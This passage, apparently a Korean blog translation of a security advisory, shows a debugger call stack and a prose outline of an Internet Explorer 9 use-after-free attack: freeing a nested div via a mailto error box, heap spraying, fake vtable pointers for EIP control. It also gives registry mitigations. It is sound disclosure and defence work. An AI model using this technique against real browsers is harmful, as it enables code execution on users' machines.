6d47fa14 MSHTML!CElement::OnPropertyChangeInternal+0x3fa

6d49b76b MSHTML!CElement::OnPropertyChange+0x1b

6d2da8db MSHTML!BASICPROPPARAMS::SetStringProperty+0x36a

6d0084d6 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_className+0x61

6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4

6d0cc968 JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117

6d009a85 JSCRIPT9!Js::JavascriptOperators::SetProperty+0x8c

6d009a2c JSCRIPT9!Js::JavascriptOperators::OP_SetProperty+0x59

039507b8 JSCRIPT9!Js::JavascriptOperators::PatchPutValueNoLocalFastPath+0xbc

6d0084d6 0x39507b8

6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4

6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6

6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f

6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63

6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a

6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a

6d54ce40 MSHTML!CListenerDispatch::Invoke+0x40

6d44e624 MSHTML!CEventMgr::_InvokeListeners+0x187

6d54cf37 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc

6d5db67d MSHTML!CEventMgr::Dispatch+0x3cc

6d53ba32 MSHTML!CEventMgr::DispatchFocusEvent+0x7d

6d5e6f74 MSHTML!COmWindowProxy::Fire_onfocus+0x84

6d5e6ff1 MSHTML!CAsyncEventQueue::DispatchAllEvents+0x7c

7748c4e7 MSHTML!GlobalWndProc+0x2ed

7748c5e7 USER32!InternalCallWinProc+0x23

7748cc19 USER32!UserCallWinProcCheckWow+0x14b

7748cc70 USER32!DispatchMessageWorker+0x35e

6e8e1b44 USER32!DispatchMessageW+0xf

6e901a16 IEFRAME!CTabWindow::_TabWindowThreadProc+0x722

759315b0 IEFRAME!LCIETab_ThreadProc+0x317

6e8efd5b IERTUTIL!CIsoScope::RegisterThread+0xab

75c4ed6c IEFRAME!Detour_DefWindowProcA+0x6c

773737f5 KERNEL32!BaseThreadInitThunk+0xe

773737c8 NTDLL!__RtlUserThreadStart+0x70

00000000 NTDLL!_RtlUserThreadStart+0x1b

 

 

공격

____

이 취약점에 대한 공격은 인터넷 익스프로러의 일반적인 기본 use-after-free 상황이다. 따라서 공격은: (1) 힙에 오브젝트를 생성한다, (2) 오브젝트에 대한 참조는 모든 곳에 남겨둔채 오브젝트가 해제되도록 한다, (3) 오브젝트가 할당하고 있던 힙 메모리 영역 내용을 임의의 데이터로 바꾼다, (4) 인터넷 익스프로러가 부적절한 참조를 사용해 해제된 오브젝트로 접근하도록 한다. 인터넷 익스프로러 9 (32비트)를 목표로 하는 준비된 개념 입증 EIP 제어 공격에서는 이러한 절차들이 다음과 같이 이루어진다: HTML안에 “div”라고 이름 붙여진 두 개 중첩된(nested) 요소들; (메일 클라이언트 에러 메시지가 스크린에 띄워져있는 동안) 외부의 “div” 요소를 조작하여 내부의 “div” 파괴; 전형적인 힙 스프레이를 수행하여 알고 있는 데이터를 알고 있는 주소에 저장; 그리고 내부의 “div”요소가 해제됨에 따라 남겨진 빈 부분을 특별히 구성한 데이터가 담긴 큰 CTreePos 크기의 힙 블록들 채우기. 특별히 구성한 데이터에는 하드 코딩된 주소의 힙 스프레이 데이터를 참조하는 대체 vtable 포인터와 같이 이와 비슷한 공격들의 전형적인 특징을 가진다. 이 공격의 절차들 중 혼자만이 이룰 수 없는 절차가 있는데, 인터넷 익스프로러가 오래된 내부 “div” 요소 참조에 접근하도록 하는 것이다이 접근은 사용자가 메일 클라이언트 에러 메시지를 닫아야만이 이루어진다.

 

 

보안

____

다운로드설정 중 -> "폰트 다운로드" 보안 설정을 해제(Disable)”한다. ("HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Internet Settings\Zones\<zone-identifier>" -> "1604": REG_DWORD = "3") 이 취약점에 대한 현 기술의 공격을 예방한다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\mailto" (와 함께 "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Classes\PROTOCOLS\Handler\mailto"도 가능) 레지스트르리 키 삭제, 이름 수정 또는 읽기 권한을 금지를 해도 이 기술을 사용한 공격을 막을 수 있다: 하지만 해결 방법을 구현 후에 "mailto:" 링크가 어떤 영역에서도 메시지 박스를 표시하지 않는 것을 확인해야 한다.

 

 

결론

____

이 문서는 인터넷 익스프로러 기본 보안 설정의 오래전부터 존재해온 임의의 코드 실행 권한 취약점에 대해 기술했다. 비록 현 공격 방법에 크지 않은 정도의 사용자 상호작용과 사용자 알림이 메일 클라이언트 에러 메시지로서 보이기는 하지만, 이 메시지는 보안과 관련되지 않으며 메시지 박스가 사용자가 공격을 막을 수 있도록 하는 옵션은 제공하지 않는다. 취약점에 대한 더 깊은 조사를 통해 보이는 메시지를 다른 종류로 바꾸거나 사용자 상호작용의 필요를 없앨 수 있을 것으로 보인다.

 

댓글
댓글쓰기 폼